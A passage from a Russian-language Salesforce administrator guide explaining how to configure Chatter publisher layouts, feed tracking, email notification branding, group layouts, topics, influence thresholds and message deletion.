Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания действий:
• «Настройка

приложения»

Для настройки макетов
действийимакетов страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Действия, которыевыдобавляете в глобальныемакетыпубликатора, появляютсяна таких
страницах, как главная и Chatter, а также на панели действий и в меню действий на
страницах «Лента» и «Люди» приложения Salesforce1.

Расположите действия так, чтобы часто используемые действия выводились первыми в
каждом списке. Все остальные действия отображаются в раскрывающемся меню
публикатора.

Просмотреть обзор: настройка глобальных макетов публикатора

При необходимости добавьте действия в два раздела макета страницы.

Быстрые действия в средстве публикации Salesforce Classic
Данныйраздел может содержать только действия из категории «Быстрые действия».
Действия данного раздела отображаются в публикаторе Chatter полной версии
системы Salesforce.

Действия Salesforce1 и Lightning Experience
Данныйразделможет содержать толькодействияиз категории «Действия Salesforce1».
При использовании макетов страниц объектов категория «Действия Salesforce1»
содержит все доступные типы действий для объекта, включая быстрые действия,
продуктивные действия, стандартные и настраиваемые кнопки. Действия в этом
разделеотображаютсявпанелидействийименюдействийв Salesforce1ивразличных
областях Lightning Experience.

1. Введитестроку «Макеты публикатора» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Макеты публикатора».

2. Чтобыдобавитьилиудалитьдействия, перетащитенужныедействиянапалитруили
наоборот. Чтобыизменитьпорядокотображениядействий, выберитенужноедействие
и перетащите его в другую область.

В разделе «Быстрые действия в публикаторе» Salesforce Classic первые три действия
слева отображаются в публикаторе Chatter. Все другие действия отображаются в раскрывающемся меню «Больше».

3. По завершении нажмите кнопку «Сохранить». Чтобы сохранить внесенные изменения и продолжить работу над
макетом, нажмите кнопку «Быстрое сохранение».

Закрытие макета без сохранения инициирует удаление всех внесенных изменений.

Пример: Добавим действие по созданию организации в публикатор, чтобы пользователи могли создавать
организацию непосредственно из публикатора. Просто перетащите действие по созданию организации в разделе
«Быстрые действия в публикаторе» и сохраните свои изменения.
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Перейдите на вкладку «Chatter». Теперь действие по созданию организации отображается в публикаторе.

СМ. ТАКЖЕ:

Назначение глобальных макетов публикатора профилям пользователя

Настройка пользователей для создания записей прямо на боковой панели Salesforce

Мобильные интеллектуальные действия
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Отслеживание ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Организации, обращения,
контакты, интересы,
возможности и
пользователи недоступны в
версии Database.com
Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки полей,
отслеживаемых в лентах:
• «Настройка

приложения»

Для просмотра страницы
настройки функции
отслеживания полей:
• «Просмотр настройки и

конфигурации»

Отслеживаниелентыпозволяетотслеживатьизменениявобъектахиполяхипубликовать
их в качестве обновлений в Chatter. Пользователи, отслеживающие ту или иную запись,
видят обновления ленты в ленте Chatter.

Функция отслеживания лент доступна для объектов и полей. Функция отслеживания
лентможетбытьнастроенадляпользователей, групп Chatter, тем, настраиваемыхобъектов,
внешних объектов и следующих стандартных объектов: организации, типы статей,
активы, кампании, обращения, контакты, контракты, панели мониторинга, события,
интересы, возможности, продукты, отчеты, решения и задачи.

Правила общего доступа и параметры безопасности поля определяют уровень доступа
дляизменений записи, отображаемыхвлентах Chatter. Для тогочтобыпользовательмог
отслеживать изменения записи в ленте, у него должен быть доступ к этой записи.

Ниже перечислены объекты и поля, которые отслеживаются по умолчанию.

• Организация: «Имя организации», «Ответственный за организацию»

• Обращение: «Ответственный за обращение», «Приоритет», «Статус»

• Группа Chatter: «Разрешить клиентский доступ», «Описание», «Групповой доступ»,
«Информационный текст», «Информационный заголовок», «Имя», «Имя
ответственного»

• Контакт: «Имя организации», «Ответственный за контакт», «Имя»

• Интерес: «Ответственный за интерес», «Статус интереса», «Имя»

• Возможность: «Стоимость», «Дата закрытия», «Имя возможности», «Ответственный
за возможность», «Этап»

• Тема: «Описание»

• Пользователь: «Обо мне», «Адрес», «Эл. почта», «Менеджер», «Телефон»,
«Должность»

Отслеживаемые обновления ленты, которые были опубликованы более 45 дней назад
и не содержат комментариев или предпочтений, удаляются автоматически.
Отслеживаемые обновления ленты больше не отображаются в ленте. Тем не менее
пользователям доступен контрольный журнал для отслеживаемого поля,
поддерживающего функцию аудита.

Настройка функции отслеживания лент Chatter

Включите отслеживание ленты для объектов и записей, чтобы пользователи могли
получатьобновленияосостоянииотслеживаемыхобъектови записейвленте Chatter.
Многие объекты и поля отслеживаются по умолчанию; при необходимости можно
начинать или отменять отслеживание определенных объектов и полей.

3649

Отслеживание лентыНастройка и обслуживание инструментов сотрудничества



Включение обновлений ленты для связанных записей
Страницасведенийо записиможетотображатьобновлениялентыосозданиисвязанныхзаписей. Обновленияленты
для связанных записей предоставляют пользователям полные сведения о действиях над организацией.

СМ. ТАКЖЕ:

Параметры Chatter
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Настройка функции отслеживания лент Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Организации, обращения,
контакты, интересы,
возможности и
пользователи недоступны в
версии Database.com
Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки полей,
отслеживаемых в лентах:
• «Настройка

приложения»

Для просмотра страницы
настройки функции
отслеживания полей:
• «Просмотр настройки и

конфигурации»

Включите отслеживание ленты для объектов и записей, чтобы пользователи могли
получать обновления о состоянии отслеживаемых объектов и записей в ленте Chatter.
Многие объекты и поля отслеживаются по умолчанию; при необходимости можно
начинать или отменять отслеживание определенных объектов и полей.

Функция отслеживания лент может быть настроена для пользователей, групп Chatter,
тем, настраиваемых объектов, внешних объектов и следующих стандартных объектов:
организации, типы статей, активы, кампании, обращения, контакты, контракты, панели
мониторинга, события, интересы, возможности, продукты, отчеты, решения и задачи.

1. Введитестроку «Отслеживание ленты» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Отслеживание ленты».

2. Выберите объект.

3. Установите флажок «Включить отслеживание ленты».

Данныйфлажок доступен только при наличии соответствующих полномочий.

4. Выберите не более 20 полей для отслеживания.

Поля не могут быть выбраны для внешних объектов или типов статей. Ниже
перечислены типы стандартных полей, которые не поддерживают функцию
отслеживания.

• Поля автонумерации, формулы и сводного резюмирования.

• Зашифрованные поля и системные поля, доступные только для чтения.

• Поле возможностей «Ожидаемый доход».

• Поля решений «Заголовок решения» и «Сведения о решении»; данные поля
отображаютсятолькодляпереведенныхрешений, еслиорганизацияподдерживает
многоязычные решения.

5. Прииспользованиидействий впубликаторе отображаетсяфлажок «Все связанные
объекты». Чтобы просмотреть элементы ленты при создании связанных объектов,
установите данныйфлажок.

6. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Отслеживание ленты

3651

Отслеживание лентыНастройка и обслуживание инструментов сотрудничества



Включение обновлений ленты для связанных записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Database.com
Edition иDeveloper Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отслеживания ленты:
• «Настройка

приложения»

Страницасведенийозаписиможетотображатьобновлениялентыосозданиисвязанных
записей. Обновления ленты для связанных записей предоставляют пользователям
полные сведения о действиях над организацией.

1. Введитестроку «Отслеживание ленты» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Отслеживание ленты».

2. Выберите нужный объект.

3. Щелкните «Все связанные объекты».

Приотсутствииданногопараметраубедитесь, чтоорганизацияподдерживаетданные
действия в публикаторе. Параметр «Все связанные объекты» поддерживается только
объектами ниже.

• Организация

• Кампания

• Обращение

• Контакт

• Настраиваемые объекты

• Группа

• Интерес

• Возможность

4. Сохраните внесенные изменения.

Пример: При включении обновлений ленты для связанных записей лента организации содержит:

• Обновления ленты для всех действий над организацией

• Обновления для связанных задач, событий и контактов

СМ. ТАКЖЕ:

Включение действий в публикаторе Chatter

Настройка действий при включенной поддержке Chatter

Действия
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Параметры эл. почты Chatter и фирменный стиль

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Параметры эл. почты Chatter позволяют контролировать получение пользователями
электронных уведомлений о новых сообщениях, комментариях и других изменениях.
Принеобходимостиизменитеформатсообщенийэл. почты (например, добавьтелоготип
компании или сведения об отправителе).

Включение Chatter инициирует автоматическое включение электронных уведомлений.
Темнеменее, пользователимогутнастраиватьсобственныепараметрыэл. почты. Данные
параметры определяют необходимость получения сообщений эл. почты, типы
уведомлений и частоту их отправки. Рекомендуем уведомить пользователей о
возможности управления количеством получаемых сообщений эл. почты. Слишком
большоеколичествоэлектронныхуведомленийпрепятствуетнормальнойработемногих
пользователей Chatter.

Настройте общие параметры эл. почты Chatter ифирменный стиль посредством меню
«Настройка». Введите строку «Параметры эл. почты» в поле «Быстрый поиск» и
выберите пункт «Параметры эл. почты». Доступные параметры описаны в таблице
ниже.

ОписаниеПараметр

Общие параметры

Данный параметр включает или выключает электронные
уведомления для всей компании. Снятие данного флажка

Разрешить отправку сообщений эл. почты

инициирует выключение всех электронных уведомлений и
препятствует получению любых уведомлений.

При наличии данного флажка пользователи могут отвечать на
электронные уведомления о сообщениях и комментариях

Разрешить отправку электронных ответов

посредством эл. почты без просмотра сообщения или
комментария в Chatter.

Приналичииданногофлажкапользователимогутпубликовать
сообщения в группы посредством эл. почты.

Разрешить отправку сообщений по эл. почте

При наличии данного флажка пользователи могут добавлять
вложения в сообщения для групп посредством эл. почты.

Разрешить отправку вложений по эл. почте

Отправитель

Имя, отображаемое в электронном уведомлении как имя
отправителя. Например, добавьте название компании.

Имя отправителя

Адрес эл. почты отправителя. Например, добавьте адрес эл.
почты компании.

Адрес эл. почты

Фирменный стиль

Логотип, отображаемыйв электронномуведомлении. Загрузите
другой логотип для замены стандартного логотипа Chatter.

Логотип

Текст, отображаемый в нижнем колонтитуле электронного
уведомления. Согласно действующему законодательству по

Текст нижнего колонтитула
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ОписаниеПараметр

защите от нежелательной почты, настоятельно рекомендуем
добавить физический адрес компании.

Настройка фирменного стиля для электронных уведомлений
Настройте электронные уведомления Chatter, чтобы они отображали сведения об отправителе, текст нижнего
колонтитула и логотип нижнего колонтитула, настроенные для текущей организации.

Настройка фирменного стиля для электронных уведомлений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
эл. почты Chatter:
• «Настройка

приложения»

Настройте электронные уведомления Chatter, чтобы они отображали сведения об
отправителе, текстнижнего колонтитулаилоготипнижнего колонтитула, настроенные
для текущей организации.

1. Введите строку «Параметры эл. почты» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры эл. почты».

2. Введитенастраиваемыезначенияименииадресаотправителядлязаменыстандартных
значений.

Прим.: При изменении адреса эл. почты отправителя система отправляет
проверочное сообщение эл. почты на новый адрес. Изменение откладывается,
а система продолжает использовать текущий адрес до завершения проверки.
Чтобы активировать новый адрес, щелкните ссылку подтверждения в
полученном сообщении эл. почты. При вводе другого нового адреса до
завершения проверки предыдущего адреса эл. почты система сохраняет и
использует последнее введенное значение для проверки.

При вводе настраиваемого значения для адреса отправителя и включениифункции
перенаправленияэл. почтысообщенияэл. почтыChatterбудутиспользоватьфункцию
перенаправления.

3. Настройте содержимое нижнего колонтитула сообщений эл. почты Chatter.

Прим.:

• Все сообщения эл. почты Chatter отображают логотип Chatter и сведения
Salesforce, которые могут быть заменены логотипом и сведениями текущей
организации.

• Чтобывосстановитьстандартныйлоготипилитекстнижнегоколонтитула,
воспользуйтесьинтерфейсомAPI, которыйпозволяетзадаватьданнымполям
значение null.

a. Выберите логотип для замены стандартного логотипа Chatter.

Логотипдолженбытьзагруженнавкладку «Документы» ипомеченфлажком «Доступен внешне как изображение».
Рекомендуем использовать изображения размером не более 150 x 50 пикселов на прозрачномфоне.

b. Введитенастраиваемыйтекстдлиноюнеболее 1 000 символовдлязаменыстандартноготекстанижнегоколонтитула.
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Стандартный текст содержит имя и физический адрес компании Salesforce. Согласно действующему
законодательству по защите от нежелательной почты, настоятельно рекомендуем добавить физический адрес
организации.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Параметры эл. почты Chatter и фирменный стиль

Действия и макеты сообщения Chatter

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Действия над сообщениями и комментариями отображаются в раскрывающемся меню
сообщенияиликомментария. Данныедействияпозволяютпользователямредактировать,
добавлять закладки и удалять сообщения, а также добавлять темы и создавать задачи из
сообщений.

Стандартные действия над сообщениями («Добавить закладку», «Удалить» и «Добавить
тему») доступныпоумолчаниюинемогутбытьизменены. Принеобходимостидобавьте
дополнительные действия (например, «Правка» и «Создать задачу»).

Включение функции создания задач в сообщениях
Дополните ленту действием, позволяющим пользователям создавать задачи прямо
из сообщения.

Включение функции создания задач в сообщениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
элемента ленты Chatter:
• «Настройка

приложения»

Дополните ленту действием, позволяющим пользователям создавать задачи прямо из
сообщения.

Рекомендуем включитьфункцию «Действия в публикаторе» ифункциюотслеживания
лент для объектов задачи.

1. Введите строку «Элемент ленты» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Макет элемента ленты».

2. Щелкните ссылку «Правка» напротив нужного макета элемента ленты.

3. Щелкните «Быстрые действия» в макете элемента ленты.

4. Выберите действие «Создать задачу» и перетащите его в раздел «Действия в
публикаторе».
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При отсутствии действия «Создать задачу» убедитесь, чтофункция «Действия в публикаторе» включена на странице
«Параметры Chatter» меню «Настройка».

5. Сохраните внесенные изменения.

Действие «Создать задачу» отображается в раскрывающемся меню текстовых сообщений и сообщений с содержимым.
При создании задачи из сообщения задача отображается в списке «Мои задачи» на начальной странице пользователя.
Действие «Создать задачу»:

• доступно для текстовых сообщений и сообщений с содержимым, но не поддерживается системными сообщениями
(например, отслеживаемые обновления ленты);

• может быть настроено частично (пользователь не может изменять поля, но может изменять их макет);

• генерирует обновление, отображаемое в ленте пользователя.

СМ. ТАКЖЕ:

Настройка действий при включенной поддержке Chatter

Макеты группы

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Макет группы позволяет пользователям настраивать поля, кнопки, действия и списки,
отображаемые в группах Chatter. Изменения, внесенные в макет группы, влияют на все
группы организации, но отображаются только на страницах групп в приложении
Salesforce1. Изменения, внесенныевпубликатор группы, отображаютсявполнойверсии
системы Salesforce и приложении Salesforce1.

Изменения, внесенныевмакет группыипубликатор, влияютна все группыорганизации.
Пользователи не могут настраивать макет для отдельной группы.

Настройка макета групп и публикатора Chatter

Добавляйтеи удаляйтеполя, кнопки, поисковые запросыи связанные списки, чтобы
изменить макеты страниц групп.

Добавление действий в публикатор группы
Настройте публикатор группы посредством быстрых действий и действий Salesforce1.
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Настройка макета групп и публикатора Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
группы Chatter:
• «Настройка

приложения»

Добавляйте и удаляйте поля, кнопки, поисковые запросы и связанные списки, чтобы
изменить макеты страниц групп.

1. Введите строку «Макеты группы» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Макеты группы».

2. Чтобы настроить макет группы, щелкните ссылку «Правка». Чтобы создать макет,
нажмите кнопку «Создать».

3. Чтобы добавить поля, кнопки и другие элементы пользовательского интерфейса в
макет группы, перетащите нужные элементы из палитры вверху страницы в разные
разделы. Чтобы удалить элементы из макета, перетащите их обратно на палитру.

Изменения макета группы влияют на Salesforce1 and Lightning Experience. Изменения
публикатора группы распространяются на все области. Например, при удалении
связанного спискафайла илиполя в разделе сведенийо группе эти изменения будут
отображаться только в Salesforce1 и Lightning Experience, но не в Salesforce Classic.

4. Чтобы сохранить макет, нажмите кнопку «Сохранить».

Пример: Чтобы разрешить ответственным и менеджерам групп архивировать и
активировать группы в Salesforce1 и Lightning Experience, перетащите поле
«Архивировать» в раздел сведений о группе.
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Чтобы назначить макеты группы по профилям пользователя, нажмите кнопку «Назначение макета страницы» в
списковом представлении макетов групп.

СМ. ТАКЖЕ:

Настройка макетов страниц с помощью расширенного редактора макетов страниц

Настройка действий посредством расширенного редактора макетов страниц

Назначение макетов страниц

Добавление действий для глобальных макетов публикатора

Добавление действий в публикатор группы

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
группы Chatter:
• «Настройка

приложения»

Настройте публикатор группы посредством быстрых действий и действий Salesforce1.

По умолчанию группы Chatter отображают стандартные действия, являющиеся частью
глобальногомакетапубликатора (например, «Сообщение», «Файл», «Ссылка» и «Опрос»).
Переопределите глобальный макет публикатора настраиваемым макетом публикатора
группы.

1. Введите строку «Группы» в поле «Быстрый поиск» меню «Настройка» и выберите
пункт «Макеты группы».

2. Чтобы настроить макет группы, щелкните ссылку «Правка». Чтобы создать макет,
нажмите кнопку «Создать».

3. Щелкните ссылку «переопределите глобальныймакетпубликатора»или значок
в разделе «Быстрые действия в публикаторе» или «Действия на панели действий

Salesforce1». Чтобы добавить, удалить и изменить порядок отображения действий,
перетащите нужные действия между палитрой и макетом публикатора.

Изменения в разделе «Быстрые действия в публикаторе» отображаются в полной
версии системы Salesforce. Изменения в разделе «Действия на панели действий
Salesforce1» отображаются в приложении Salesforce1. Группы, поддерживающие
доступ клиентов, отображают только стандартные действия публикатора.

Пример: Добавьте действия «Объявление», «Добавить запись» и «Добавить участника» в публикатор группы.
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Теперь пользователи могут выбирать данные действия прямо из публикатора.

Темы для объектов

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях: все
версии.

Темы для объектов — это один из наиболее эффективных способов обсуждения
основных вопросов и проблем компании.

Записи объектов могут дополняться темами на основе полученных сотрудниками
практическихзнанийирезультатовработысклиентами, благодарячемукомпанияможет
лучше понимать пожелания своих клиентов. А, благодаря применению к разным
объектам, темымогут служить связующимзвеноммеждулюдьми, диалогамиизаписями.

Пользователимогут такжедобавлятьтемывсообщения. Темыдлясообщенийпозволяют
пользователямсистематизироватьсообщенияиповышатьихдоступность. Темыявляются
оптимальнымспособомобсуждения отдельныхпроблеми вопросов, касающихся всех людей. Например, припринятии
решенияобоказанииместнымшколамволонтерскойпомощисрокомнаодингодрекомендуемсоздатьтему, позволяющую
всей компаниипубликовать связанные сообщения, фотографиииобновления. Группы, напротив, предназначаются для
обсужденийвнутриконкретнойкоманды. Сотрудничествовнутри группыможетохватыватьлюбоеколичествовопросов,
но всегда предполагает участие одних и тех же людей. Например, при планировании праздничного мероприятия
рекомендуемсоздатьличнуюгруппудляответственногокомитета, позволяющуюегоучастникампланироватьпроведение
события в тайне от остальных сотрудников компании.

Включение и настройка тем для объектов
Чтобыразрешитьпользователямдобавлять темывзаписиисистематизировать записипообщимтематикам, включите
темы для объектов. Данная функция доступна как при поддержке, так и без поддержки Chatter.

Удаление тем
Пользователи с соответствующими полномочиями могут удалять темы прямо со страниц сведений о темах.

Конфиденциальность тем
Именаиописаниятем, включаятемы, отображающиесятольковличныхгруппахизаписях, являютсяобщедоступными.
Сообщения или записи с темами и сообщения или записи без тем используют одинаковые параметры безопасности
и конфиденциальности.
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Включение и настройка тем для объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
«Темы для объектов»:
• «Настройка

приложения»

Чтобы разрешить пользователям добавлять темы в записи и систематизировать записи
по общим тематикам, включите темы для объектов. Данная функция доступна как при
поддержке, так и без поддержки Chatter.

Администраторымогутвключитьтемыдляорганизаций, активов, кампаний, обращений,
контактов, контрактов, интересов, возможностей, заказов, решений, настраиваемых
объектов и статей на английском языке. Администраторымогут выбирать поля каждого
типа объекта, которые должны использоваться для предложенных тем.

Прим.: Темыподдерживаютсятолькопостатьямбазызнанийнаанглийскомязыке.

Внимание: Включение тем для объекта инициирует отключениеобщедоступных
тегов для записей данного объекта.

1. Введите строку «Темы для объектов» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Темы для объектов».

2. Выберите нужный объект.

3. Установите флажок «Включить темы», расположенный справа.

4. Выберитенужныетекстовыеполя. (Комбинациявыбранныхполейпозволяетвозвращатьнеболее трехпредложенных
тем на основе первых 2 000 символов.)

5. Чтобы сохранить внесенные изменения для всех объектов, нажмите кнопку «Сохранить».

Нижеперечисленыдействия, доступныепользователямприналичиидоступаквключеннымобъектамисоответствующих
полномочий.

• Просмотр назначений тем и предложенных тем для записей данного типа объекта

• Добавление и удаление тем из записей данного типа объекта

• Использование тем из записей данного типа объекта для фильтрации списковых представлений

Кроме того, если организация использует Chatter, то пользователи могут открывать страницу темы путем выбора любой
темы, назначенной записи. Данная страница содержит другие записи по теме, список знатоков темыи другую связанную
информацию.

СМ. ТАКЖЕ:

Темы для записей

Добавление тем в записи

Темы для записей

Добавление тем в записи
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Удаление тем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления стандартных
тем:
• «Изменение всех

данных»

ИЛИ

«Удаление тем»

Для удаления тем,
используемых сообществом
как навигационные или
специальные:
• «Создание и настройка

сообществ»

ИЛИ

«Управление
сообществами»

Пользователиссоответствующимиполномочиямимогутудалятьтемыпрямосостраниц
сведений о темах.

Принимая во вниманиеобщедоступностьимениописаний тем, администраторымогут
удалять темы в целях соблюдения принятых норм и требований. Ниже перечислены
рекомендации по удалению тем.

• Темыудаляютсябезвозможностивосстановления. Удаленныетемынеперемещаются
в корзину.

• Удаленные темы удаляются из результатов поиска, списка тем, всех сообщений и
записей, раздела «Темы недавних обсуждений», раздела «Связанные темы» и
избранного пользователей. Удаленные темы удаляются из раздела «Самые
обсуждаемые темы» после выполнения следующего расчета.

• При необходимости пользователи могут воссоздавать удаленные темы.

Чтобы удалить тему, выполните указанные ниже действия.

1. Откройте страницу сведений о теме.

2. Щелкните значок в верхнем правом углу и выберите пункт «Удалить».

Конфиденциальность тем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Имена и описания тем, включая темы, отображающиеся только в личных группах и
записях, являютсяобщедоступными. Сообщенияилизаписис темамиисообщенияили
записибезтемиспользуютодинаковыепараметрыбезопасностииконфиденциальности.

Данная таблица определяет области, которые позволяют просматривать все темы, а
такжеобласти, которыенепозволяютпросматриватьтемы, используемыеисключительно
в личных группах или записях.
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Непоказывает темы, используемые
исключительно в личных группах

и записях

Показывает все темыЭлемент пользовательского
интерфейса

Список тем

Результаты поиска по темам

Отчеты по темам

Отчеты по пользователям-знатокам

Раздел «Связанные темы» на странице
сведений о теме

Раздел «Темы недавних обсуждений»
на страницах сведений о группах

Раздел «Темы недавних обсуждений»
в профилях

Раздел «Самые обсуждаемые темы» на
странице Chatter

Предложенные темы при добавлении
тем в сообщение

Количество участников обсуждения в
списке темипредложенных темахпри
добавлении тем в сообщение

Прим.: Использование тем не поддерживается неуказанными группами. При необходимости добавьте тему с
хэштегом при создании сообщения или комментария для неуказанной группы; опубликованная тема будет
отображаться в виде ссылки. Тем не менее, данная ссылка будет нерабочей ввиду отсутствия созданной страницы
сведений о теме.
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Настройка влияния Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки влияния
Chatter:
• «Настройка

приложения»

Чтобы усовершенствовать процесс расчета влияния Chatter, настройте пороговые
значения действий.

Статистика по действиям Chatter определяет количество сообщений и комментариев,
добавленныхпользователями, количествополученныхимикомментариевиколичество
пользователей, которымпонравилисьсообщенияикомментариитекущегопользователя.

1. Введите строку «Влияние» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Влияние».

2. Измените минимальные пороговые значения.
Поумолчаниювсеминимальныепороговые значенияравнынулю. Приповышении
пороговых значений пользователи, которые не соответствуют всем трем
минимальным значениям, считаются наблюдателями, поэтому не учитываются при
определениивлияния. Пользователи, которые соответствуютвсем тремминимумам,
но имеют достаточно низкую активность, также считаются наблюдателями, но
учитываются при расчете влияния.

3. Нажмите кнопку «Сохранить».
Сохранение данных значений инициирует пересчет влияния Chatter.

Внимание: Рекомендуембытьпредельновнимательнымипринастройкеновых
пороговых значений. Данное действие может инициировать немедленное
изменение уровней влияния пользователей.

СМ. ТАКЖЕ:

Chatter

Рекомендации по удалению пользовательских сообщений Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition для
пользователей с лицензией
Salesforce иDatabase.com
Edition для пользователей с
лицензией Database.com
Admin.

АдминистраторыSalesforce, которымназначеныполномочия «Управлениесообщениями
Chatter», имеют доступ к личным сообщениям всех пользователей посредством SOAP
API. Администраторможетпросматриватьиудалятьтакиесообщениявцеляхсоблюдения
корпоративных политик безопасности.

Ниже перечислены рекомендации по удалению сообщений Chatter.

• Сообщения удаляются без возможности восстановления. Они не перемещаются в
корзину.

• Удаленные сообщения не отображаются в результатах поиска по сообщениям.

• Удаление сообщения, последовавшее в результате предоставления общего доступа
к файлу, не ведет к удалениюфайла.

• Диалог, из которого были удалены все сообщения, не отображается в списке «Мои
сообщения» и не может быть извлечен посредством Chatter REST API.

• Вслучаеотправкиэлектронногоответана удаленноесообщение (приналичиитакой
возможности) Chatter отображает соответствующее уведомление об ошибке и
прекращает обработку ответного сообщения.
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Составление отчетов поChatter посредством пакета панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Unlimited Edition,
Developer Edition и
Performance Edition.

Пакет Salesforce Chatter Dashboards позволяет повысить эффективность работы!
Пользователи получают множество панелей мониторинга, более 100 отчетов, а также
типы настраиваемых отчетов, которые могут использоваться для отслеживания и
управления показателями внедрения и занятости Chatter в организации.

Рекомендуемиспользоватьпакет Salesforce Chatter Dashboards для выполнения указанных
ниже действий.

• Просмотр общих сведений о внедрении Chatter, включая подробные показатели и
ежемесячные тенденции.

• Отслеживаниесведенийовнедрениигруппы, включаяпоказателиучастияизанятости
(например, количество сообщений, комментариев, предпочтений и популярных авторов).

• Отслеживание сведений о создании содержимого и занятости пользователей (например, популярные файлы,
популярное содержимое и популярные авторы).

• Просмотр таксономии тем и отслеживание назначений тем, включая часто назначаемые темы и популярных
ответственных за назначение.

• Созданиенастраиваемыхотчетовпосредствомстандартныхгруппировок (например, отдел, страна, рольилипрофиль).

При необходимости установите пакет Salesforce Chatter Dashboards из каталога AppExchange.

Совет: Дополнительнуюинформациюоботчетах, а такжеинструкциипоустановкеиобновлению, см. вдокументе
«Начало работы с панелями мониторинга Chatter».

После установки пакета пользователи получают доступ к новым панелям мониторинга, отчетам и типам настраиваемых
отчетов, а также ко всем другим панелям мониторинга и отчетам Salesforce.

При наличии более новой версии пакета пользователи могут обновить пакет путем его повторной установки. Процесс
обновления не инициирует удаление настроек отчетов и панелей мониторинга, выполненных пользователем.

ОписаниеПанель
мониторинга

Быстрый просмотр общего состояния Chatter.Overview

Быстрый просмотр показателей отдела по внедрению групп, профилей пользователей и тем.Adoption by
Department

Отслеживание выгрузок, загрузок, занятости файлов и авторов содержимого.Files

Отслеживание действий ленты и участников в группах Chatter.Groups

Отслеживание вопросов и сообщений, оставшихся без ответа, показателей роста групп и общего
состояния групп.

Management

Отслеживание недавних действий для вопросов, ответов и лучших ответов, опубликованных в
группах.

Q&A

Отслеживание действий над темами Chatter.Topics

Отслеживаниенедавнихдействийдлявопросов, ответовилучшихответоввпрофиляхпользователей.User
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Прим.: Отчеты данного пакета возвращают данные для всех компонентов Chatter. Прииспользовании сообщества
рекомендуем установить пакет «Salesforce Communities Dashboards (for Communities with Chatter)». Данный пакет
